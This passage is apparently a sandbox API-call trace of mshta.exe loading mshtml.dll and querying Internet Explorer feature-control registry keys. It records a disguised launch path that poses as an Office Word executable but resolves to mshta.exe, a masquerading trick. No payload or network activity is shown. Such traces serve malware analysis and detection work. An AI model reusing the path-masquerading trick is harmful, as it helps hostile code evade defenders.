¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿT}\x13Ád÷;", lpUsedDefaultChar=0x0) returned 256 [0031.318] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xdfb0f0, nSize=0x104 | out: lpFilename="C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\mshta.exe" (normalized: "c:\\windows\\system32\\mshta.exe")) returned 0x4e [0031.318] GetLastError () returned 0x0 [0031.318] SetLastError (dwErrCode=0x0) [0031.318] GetLastError () returned 0x0 [0031.318] SetLastError (dwErrCode=0x0) [0031.318] GetLastError () returned 0x0 [0031.318] SetLastError (dwErrCode=0x0) [0031.318] GetLastError () returned 0x0 [0031.318] SetLastError (dwErrCode=0x0) [0031.318] GetLastError () returned 0x0 [0031.318] SetLastError (dwErrCode=0x0) [0031.318] GetLastError () returned 0x0 [0031.318] SetLastError (dwErrCode=0x0) [0031.318] GetLastError () returned 0x0 [0031.318] SetLastError (dwErrCode=0x0) [0031.318] GetLastError () returned 0x0 [0031.319] SetLastError (dwErrCode=0x0) [0031.319] GetLastError () returned 0x0 [0031.319] SetLastError (dwErrCode=0x0) [0031.319] GetLastError () returned 0x0 [0031.319] SetLastError (dwErrCode=0x0) [0031.319] GetLastError () returned 0x0 [0031.319] SetLastError (dwErrCode=0x0) [0031.319] GetLastError () returned 0x0 [0031.319] SetLastError (dwErrCode=0x0) [0031.319] GetLastError () returned 0x0 [0031.319] SetLastError (dwErrCode=0x0) [0031.319] GetLastError () returned 0x0 [0031.319] SetLastError (dwErrCode=0x0) [0031.319] GetLastError () returned 0x0 [0031.319] SetLastError (dwErrCode=0x0) [0031.319] GetLastError () returned 0x0 [0031.319] SetLastError (dwErrCode=0x0) [0031.319] GetLastError () returned 0x0 [0031.319] SetLastError (dwErrCode=0x0) [0031.319] GetLastError () returned 0x0 [0031.319] SetLastError (dwErrCode=0x0) [0031.319] GetLastError () returned 0x0 [0031.319] SetLastError (dwErrCode=0x0) [0031.319] GetLastError () returned 0x0 [0031.320] SetLastError (dwErrCode=0x0) [0031.320] GetLastError () returned 0x0 [0031.320] SetLastError (dwErrCode=0x0) [0031.320] GetLastError () returned 0x0 [0031.320] SetLastError (dwErrCode=0x0) [0031.320] GetLastError () returned 0x0 [0031.320] SetLastError (dwErrCode=0x0) [0031.320] GetLastError () returned 0x0 [0031.320] SetLastError (dwErrCode=0x0) [0031.320] GetLastError () returned 0x0 [0031.320] SetLastError (dwErrCode=0x0) [0031.320] GetLastError () returned 0x0 [0031.320] SetLastError (dwErrCode=0x0) [0031.320] GetLastError () returned 0x0 [0031.320] SetLastError (dwErrCode=0x0) [0031.320] GetLastError () returned 0x0 [0031.320] SetLastError (dwErrCode=0x0) [0031.320] GetLastError () returned 0x0 [0031.320] SetLastError (dwErrCode=0x0) [0031.320] GetLastError () returned 0x0 [0031.320] SetLastError (dwErrCode=0x0) [0031.320] GetLastError () returned 0x0 [0031.320] SetLastError (dwErrCode=0x0) [0031.320] GetLastError () returned 0x0 [0031.321] SetLastError (dwErrCode=0x0) [0031.321] GetLastError () returned 0x0 [0031.321] SetLastError (dwErrCode=0x0) [0031.321] GetLastError () returned 0x0 [0031.321] SetLastError (dwErrCode=0x0) [0031.321] GetLastError () returned 0x0 [0031.321] SetLastError (dwErrCode=0x0) [0031.321] GetLastError () returned 0x0 [0031.321] SetLastError (dwErrCode=0x0) [0031.321] GetLastError () returned 0x0 [0031.321] SetLastError (dwErrCode=0x0) [0031.321] GetLastError () returned 0x0 [0031.322] SetLastError (dwErrCode=0x0) [0031.322] GetLastError () returned 0x0 [0031.322] SetLastError (dwErrCode=0x0) [0031.322] GetLastError () returned 0x0 [0031.322] SetLastError (dwErrCode=0x0) [0031.322] GetLastError () returned 0x0 [0031.322] SetLastError (dwErrCode=0x0) [0031.322] GetLastError () returned 0x0 [0031.322] SetLastError (dwErrCode=0x0) [0031.322] GetLastError () returned 0x0 [0031.322] SetLastError (dwErrCode=0x0) [0031.322] GetLastError () returned 0x0 [0031.322] SetLastError (dwErrCode=0x0) [0031.322] GetLastError () returned 0x0 [0031.322] SetLastError (dwErrCode=0x0) [0031.322] GetLastError () returned 0x0 [0031.322] SetLastError (dwErrCode=0x0) [0031.322] GetLastError () returned 0x0 [0031.322] SetLastError (dwErrCode=0x0) [0031.322] GetLastError () returned 0x0 [0031.323] SetLastError (dwErrCode=0x0) [0031.323] GetLastError () returned 0x0 [0031.323] SetLastError (dwErrCode=0x0) [0031.323] GetLastError () returned 0x0 [0031.323] SetLastError (dwErrCode=0x0) [0031.323] GetLastError () returned 0x0 [0031.323] SetLastError (dwErrCode=0x0) [0031.323] GetLastError () returned 0x0 [0031.323] SetLastError (dwErrCode=0x0) [0031.323] GetLastError () returned 0x0 [0031.323] SetLastError (dwErrCode=0x0) [0031.323] GetLastError () returned 0x0 [0031.323] SetLastError (dwErrCode=0x0) [0031.323] GetLastError () returned 0x0 [0031.323] SetLastError (dwErrCode=0x0) [0031.323] GetLastError () returned 0x0 [0031.323] SetLastError (dwErrCode=0x0) [0031.323] GetLastError () returned 0x0 [0031.323] SetLastError (dwErrCode=0x0) [0031.323] GetLastError () returned 0x0 [0031.323] SetLastError (dwErrCode=0x0) [0031.323] GetLastError () returned 0x0 [0031.323] SetLastError (dwErrCode=0x0) [0031.324] GetLastError () returned 0x0 [0031.324] SetLastError (dwErrCode=0x0) [0031.324] GetLastError () returned 0x0 [0031.324] SetLastError (dwErrCode=0x0) [0031.324] GetLastError () returned 0x0 [0031.324] SetLastError (dwErrCode=0x0) [0031.324] GetLastError () returned 0x0 [0031.324] SetLastError (dwErrCode=0x0) [0031.324] GetLastError () returned 0x0 [0031.324] SetLastError (dwErrCode=0x0) [0031.324] GetLastError () returned 0x0 [0031.324] SetLastError (dwErrCode=0x0) [0031.324] GetLastError () returned 0x0 [0031.324] SetLastError (dwErrCode=0x0) [0031.324] GetLastError () returned 0x0 [0031.324] SetLastError (dwErrCode=0x0) [0031.324] GetLastError () returned 0x0 [0031.324] SetLastError (dwErrCode=0x0) [0031.324] GetLastError () returned 0x0 [0031.324] SetLastError (dwErrCode=0x0) [0031.324] GetLastError () returned 0x0 [0031.324] SetLastError (dwErrCode=0x0) [0031.324] GetLastError () returned 0x0 [0031.325] SetLastError (dwErrCode=0x0) [0031.325] GetLastError () returned 0x0 [0031.325] SetLastError (dwErrCode=0x0) [0031.325] GetLastError () returned 0x0 [0031.325] SetLastError (dwErrCode=0x0) [0031.325] GetLastError () returned 0x0 [0031.325] SetLastError (dwErrCode=0x0) [0031.325] GetLastError () returned 0x0 [0031.325] SetLastError (dwErrCode=0x0) [0031.325] GetLastError () returned 0x0 [0031.325] SetLastError (dwErrCode=0x0) [0031.325] GetLastError () returned 0x0 [0031.325] SetLastError (dwErrCode=0x0) [0031.325] GetLastError () returned 0x0 [0031.325] SetLastError (dwErrCode=0x0) [0031.325] GetLastError () returned 0x0 [0031.325] SetLastError (dwErrCode=0x0) [0031.325] GetLastError () returned 0x0 [0031.325] SetLastError (dwErrCode=0x0) [0031.325] GetLastError () returned 0x0 [0031.325] SetLastError (dwErrCode=0x0) [0031.325] GetLastError () returned 0x0 [0031.325] SetLastError (dwErrCode=0x0) [0031.325] GetLastError () returned 0x0 [0031.325] SetLastError (dwErrCode=0x0) [0031.326] GetLastError () returned 0x0 [0031.326] SetLastError (dwErrCode=0x0) [0031.326] GetLastError () returned 0x0 [0031.326] SetLastError (dwErrCode=0x0) [0031.326] GetLastError () returned 0x0 [0031.326] SetLastError (dwErrCode=0x0) [0031.326] GetLastError () returned 0x0 [0031.326] SetLastError (dwErrCode=0x0) [0031.326] GetLastError () returned 0x0 [0031.326] SetLastError (dwErrCode=0x0) [0031.326] GetLastError () returned 0x0 [0031.326] SetLastError (dwErrCode=0x0) [0031.326] GetLastError () returned 0x0 [0031.326] SetLastError (dwErrCode=0x0) [0031.326] GetLastError () returned 0x0 [0031.326] SetLastError (dwErrCode=0x0) [0031.326] GetLastError () returned 0x0 [0031.326] SetLastError (dwErrCode=0x0) [0031.326] GetLastError () returned 0x0 [0031.326] SetLastError (dwErrCode=0x0) [0031.326] GetLastError () returned 0x0 [0031.326] SetLastError (dwErrCode=0x0) [0031.326] GetLastError () returned 0x0 [0031.326] SetLastError (dwErrCode=0x0) [0031.326] GetLastError () returned 0x0 [0031.327] SetLastError (dwErrCode=0x0) [0031.327] GetLastError () returned 0x0 [0031.327] SetLastError (dwErrCode=0x0) [0031.327] GetLastError () returned 0x0 [0031.327] SetLastError (dwErrCode=0x0) [0031.327] GetLastError () returned 0x0 [0031.327] SetLastError (dwErrCode=0x0) [0031.327] GetLastError () returned 0x0 [0031.327] SetLastError (dwErrCode=0x0) [0031.327] GetLastError () returned 0x0 [0031.327] SetLastError (dwErrCode=0x0) [0031.327] GetLastError () returned 0x0 [0031.327] SetLastError (dwErrCode=0x0) [0031.327] GetLastError () returned 0x0 [0031.327] SetLastError (dwErrCode=0x0) [0031.327] GetLastError () returned 0x0 [0031.327] SetLastError (dwErrCode=0x0) [0031.327] GetLastError () returned 0x0 [0031.327] SetLastError (dwErrCode=0x0) [0031.327] GetLastError () returned 0x0 [0031.327] GetLastError () returned 0x0 [0031.328] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xdf2aef) returned 0x0 [0031.328] GetLastError () returned 0x0 [0031.328] GetVersion () returned 0x1db10106 [0031.328] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x76520000 [0031.328] GetProcAddress (hModule=0x76520000, lpProcName="HeapSetInformation") returned 0x76535651 [0031.328] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0031.329] RegOpenKeyExA (in: hKey=0x80000000, lpSubKey="clsid\\{25336920-03f9-11cf-8fd0-00aa00686f13}\\InProcServer32", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf7c4 | out: phkResult=0x3bf7c4*=0x42) returned 0x0 [0031.329] RegQueryValueExA (in: hKey=0x42, lpValueName=0x0, lpReserved=0x0, lpType=0x3bf7bc, lpData=0x291e30, lpcbData=0x3bf7b8*=0x105 | out: lpType=0x3bf7bc*=0x1, lpData="C:\\Windows\\SysWOW64\\mshtml.dll", lpcbData=0x3bf7b8*=0x1f) returned 0x0 [0031.329] LoadLibraryA (lpLibFileName="C:\\Windows\\SysWOW64\\mshtml.dll") returned 0x6f6a0000 [0031.600] GetVersion () returned 0x1db10106 [0031.600] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x76520000 [0031.600] GetProcAddress (hModule=0x76520000, lpProcName="HeapSetInformation") returned 0x76535651 [0031.600] HeapSetInformation (HeapHandle=0x780000, HeapInformationClass=0x0, HeapInformation=0x3bf450, HeapInformationLength=0x4) returned 1 [0031.601] GetVersion () returned 0x1db10106 [0031.602] GetVersionExA (in: lpVersionInformation=0x3bf328*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x3bf328*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0031.602] __dllonexit () returned 0x6f8c717c [0031.602] __dllonexit () returned 0x6f8c73bd [0031.602] __dllonexit () returned 0x6f8c7435 [0031.602] __dllonexit () returned 0x6f8c6e75 [0031.603] __dllonexit () returned 0x6f8c6ff5 [0031.603] __dllonexit () returned 0x6f8c71be [0031.603] __dllonexit () returned 0x6f8c72e2 [0031.603] __dllonexit () returned 0x6f8c7320 [0031.603] __dllonexit () returned 0x6f8c7370 [0031.603] __dllonexit () returned 0x6f8c6e53 [0031.603] __dllonexit () returned 0x6f8c6e66 [0031.603] __dllonexit () returned 0x6f8c6a3e [0031.603] __dllonexit () returned 0x6f8c6a46 [0031.603] RegisterClipboardFormatW (lpszFormat="CF_RTF") returned 0xc186 [0031.603] RegisterClipboardFormatW (lpszFormat="CF_RTF") returned 0xc186 [0031.603] __dllonexit () returned 0x6f8c6a60 [0031.603] __dllonexit () returned 0x6f8c6a7a [0031.603] __dllonexit () returned 0x6f8c6a93 [0031.604] __dllonexit () returned 0x6f8c6aa7 [0031.604] __dllonexit () returned 0x6f8c6ac1 [0031.604] __dllonexit () returned 0x6f8c71f1 [0031.604] __dllonexit () returned 0x6f8c6ad0 [0031.604] __dllonexit () returned 0x6f8c6adf [0031.604] __dllonexit () returned 0x6f8c6aee [0031.604] __dllonexit () returned 0x6f8c6afd [0031.604] __dllonexit () returned 0x6f8c6b0d [0031.604] __dllonexit () returned 0x6f8c720c [0031.604] __dllonexit () returned 0x6f8c6b1c [0031.604] __dllonexit () returned 0x6f8c6b2f [0031.604] __dllonexit () returned 0x6f8c6b49 [0031.604] __dllonexit () returned 0x6f8c6b58 [0031.604] __dllonexit () returned 0x6f8c6b67 [0031.605] __dllonexit () returned 0x6f8c6b76 [0031.605] __dllonexit () returned 0x6f8c6b85 [0031.605] __dllonexit () returned 0x6f8c6b94 [0031.605] __dllonexit () returned 0x6f8c6ba3 [0031.605] __dllonexit () returned 0x6f8c6bb2 [0031.605] __dllonexit () returned 0x6f8c6bc1 [0031.605] __dllonexit () returned 0x6f8c6bd0 [0031.605] __dllonexit () returned 0x6f8c6bdf [0031.605] __dllonexit () returned 0x6f8c6bee [0031.605] __dllonexit () returned 0x6f8c6bfd [0031.605] __dllonexit () returned 0x6f8c6c0c [0031.605] __dllonexit () returned 0x6f8c6c1b [0031.605] __dllonexit () returned 0x6f8c6c2a [0031.605] __dllonexit () returned 0x6f8c6c3d [0031.606] __dllonexit () returned 0x6f8c6c4c [0031.606] __dllonexit () returned 0x6f8c6c5b [0031.606] __dllonexit () returned 0x6f8c6c75 [0031.606] __dllonexit () returned 0x6f8c6c8f [0031.606] __dllonexit () returned 0x6f8c6ca9 [0031.606] MulDiv (nNumber=1073741823, nNumerator=384, nDenominator=1440) returned 286331153 [0031.606] MulDiv (nNumber=1073741823, nNumerator=384, nDenominator=1440) returned 286331153 [0031.606] __dllonexit () returned 0x6f8c6cb1 [0031.606] __dllonexit () returned 0x6f8c7294 [0031.606] __dllonexit () returned 0x6f8c6ccb [0031.606] __dllonexit () returned 0x6f8c6cd3 [0031.606] __dllonexit () returned 0x6f8c6ce2 [0031.606] __dllonexit () returned 0x6f8c6cf1 [0031.607] __dllonexit () returned 0x6f8c6d00 [0031.607] __dllonexit () returned 0x6f8bf72d [0031.607] __dllonexit () returned 0x6f8c6d43 [0031.607] __dllonexit () returned 0x6f8c6d56 [0031.607] __dllonexit () returned 0x6f8bf095 [0031.607] __dllonexit () returned 0x6f8c6d65 [0031.607] __dllonexit () returned 0x6f8c6d78 [0031.607] __dllonexit () returned 0x6f8c6d87 [0031.607] __dllonexit () returned 0x6f8c6d9a [0031.607] __dllonexit () returned 0x6f8c2256 [0031.607] __dllonexit () returned 0x6f8c679d [0031.607] __dllonexit () returned 0x6f8c6dd5 [0031.607] __dllonexit () returned 0x6f8c6df8 [0031.608] __dllonexit () returned 0x6f8c6e07 [0031.608] __dllonexit () returned 0x6f8c76cb [0031.608] __dllonexit () returned 0x6f8c6e1a [0031.608] __dllonexit () returned 0x6f8c72aa [0031.608] __dllonexit () returned 0x6f8c72cb [0031.608] __dllonexit () returned 0x6f8c6e3a [0031.608] GetCurrentThreadId () returned 0x9c4 [0031.608] CoCreateGuid (in: pguid=0x6fbdad20 | out: pguid=0x6fbdad20*(Data1=0xb2a382e0, Data2=0x91e5, Data3=0x4f20, Data4=([0]=0xbb, [1]=0x93, [2]=0x9a, [3]=0xfd, [4]=0x2, [5]=0xd9, [6]=0xab, [7]=0x5c))) returned 0x0 [0031.610] __dllonexit () returned 0x6f8c733d [0031.610] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3bedc8, nSize=0x104 | out: lpFilename="C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\mshta.exe" (normalized: "c:\\windows\\system32\\mshta.exe")) returned 0x4e [0031.610] PathFindFileNameW (pszPath="C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\mshta.exe") returned="mshta.exe" [0031.610] StrCmpICW (pszStr1="mshta.exe", pszStr2="iexplore.exe") returned 4 [0031.610] StrCmpICW (pszStr1="mshta.exe", pszStr2="explorer.exe") returned 8 [0031.610] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x79ec70 [0031.610] SHRegGetValueW () returned 0x2 [0031.610] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf014 | out: phkResult=0x3bf014*=0x0) returned 0x2 [0031.610] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf010 | out: phkResult=0x3bf010*=0x0) returned 0x2 [0031.610] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf008 | out: phkResult=0x3bf008*=0x94) returned 0x0 [0031.611] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf00c | out: phkResult=0x3bf00c*=0x98) returned 0x0 [0031.612] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.612] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.612] RegCloseKey (hKey=0x0) returned 0x6 [0031.613] RegCloseKey (hKey=0x0) returned 0x6 [0031.613] RegCloseKey (hKey=0x94) returned 0x0 [0031.613] RegCloseKey (hKey=0x98) returned 0x0 [0031.613] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf008 | out: phkResult=0x3bf008*=0x98) returned 0x0 [0031.613] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf00c | out: phkResult=0x3bf00c*=0x94) returned 0x0 [0031.613] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.613] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.613] RegCloseKey (hKey=0x0) returned 0x6 [0031.613] RegCloseKey (hKey=0x0) returned 0x6 [0031.613] RegCloseKey (hKey=0x98) returned 0x0 [0031.613] RegCloseKey (hKey=0x94) returned 0x0 [0031.613] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf008 | out: phkResult=0x3bf008*=0x94) returned 0x0 [0031.613] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf00c | out: phkResult=0x3bf00c*=0x98) returned 0x0 [0031.613] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ARIA_SUPPORT", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.614] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_ARIA_SUPPORT", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.614] RegCloseKey (hKey=0x0) returned 0x6 [0031.614] RegCloseKey (hKey=0x0) returned 0x6 [0031.614] RegCloseKey (hKey=0x94) returned 0x0 [0031.614] RegCloseKey (hKey=0x98) returned 0x0 [0031.614] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf008 | out: phkResult=0x3bf008*=0x98) returned 0x0 [0031.614] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf00c | out: phkResult=0x3bf00c*=0x94) returned 0x0 [0031.614] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_LEGACY_DISPPARAMS", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.614] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_LEGACY_DISPPARAMS", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x9c) returned 0x0 [0031.614] SHRegGetValueW () returned 0x2 [0031.614] SHRegGetValueW () returned 0x2 [0031.614] RegCloseKey (hKey=0x9c) returned 0x0 [0031.614] RegCloseKey (hKey=0x0) returned 0x6 [0031.614] RegCloseKey (hKey=0x0) returned 0x6 [0031.614] RegCloseKey (hKey=0x98) returned 0x0 [0031.614] RegCloseKey (hKey=0x94) returned 0x0 [0031.614] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf008 | out: phkResult=0x3bf008*=0x94) returned 0x0 [0031.615] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf00c | out: phkResult=0x3bf00c*=0x98) returned 0x0 [0031.615] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_PRIVATE_FONT_SETTING", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.615] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_PRIVATE_FONT_SETTING", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.615] RegCloseKey (hKey=0x0) returned 0x6 [0031.615] RegCloseKey (hKey=0x0) returned 0x6 [0031.615] RegCloseKey (hKey=0x94) returned 0x0 [0031.615] RegCloseKey (hKey=0x98) returned 0x0 [0031.615] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf008 | out: phkResult=0x3bf008*=0x98) returned 0x0 [0031.615] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf00c | out: phkResult=0x3bf00c*=0x94) returned 0x0 [0031.615] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_CSS_SHOW_HIDE_EVENTS", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.615] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_CSS_SHOW_HIDE_EVENTS", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.615] RegCloseKey (hKey=0x0) returned 0x6 [0031.615] RegCloseKey (hKey=0x0) returned 0x6 [0031.615] RegCloseKey (hKey=0x98) returned 0x0 [0031.615] RegCloseKey (hKey=0x94) returned 0x0 [0031.616] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf008 | out: phkResult=0x3bf008*=0x94) returned 0x0 [0031.616] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf00c | out: phkResult=0x3bf00c*=0x98) returned 0x0 [0031.616] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_DISPLAY_NODE_ADVISE_KB833311", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.616] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_DISPLAY_NODE_ADVISE_KB833311", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.616] RegCloseKey (hKey=0x0) returned 0x6 [0031.616] RegCloseKey (hKey=0x0) returned 0x6 [0031.616] RegCloseKey (hKey=0x94) returned 0x0 [0031.616] RegCloseKey (hKey=0x98) returned 0x0 [0031.616] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf008 | out: phkResult=0x3bf008*=0x98) returned 0x0 [0031.616] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf00c | out: phkResult=0x3bf00c*=0x94) returned 0x0 [0031.616] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_ALLOW_EXPANDURI_BYPASS", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.616] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ALLOW_EXPANDURI_BYPASS", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.616] RegCloseKey (hKey=0x0) returned 0x6 [0031.616] RegCloseKey (hKey=0x0) returned 0x6 [0031.616] RegCloseKey (hKey=0x98) returned 0x0 [0031.617] RegCloseKey (hKey=0x94) returned 0x0 [0031.617] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf008 | out: phkResult=0x3bf008*=0x94) returned 0x0 [0031.617] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf00c | out: phkResult=0x3bf00c*=0x98) returned 0x0 [0031.617] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.617] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245", ulOptions=0x0, samDesired=0x1, phkResult=0x3befc8 | out: phkResult=0x3befc8*=0x0) returned 0x2 [0031.617] RegCloseKey (hKey=0x0) returned 0x6 [0031.617] RegCloseKey (hKey=0x0) returned 0x6 [0031.617] RegCloseKey (hKey=0x94) returned 0x0 [0031.617] RegCloseKey (hKey=0x98) returned 0x0 [0031.617] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf008 | out: phkResult=0x3bf008*=0x98) returned 0x0 [0031.617] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bf00c | out: phkResult=0x3bf00c*=0x94) returned 0x0 [0031.618] 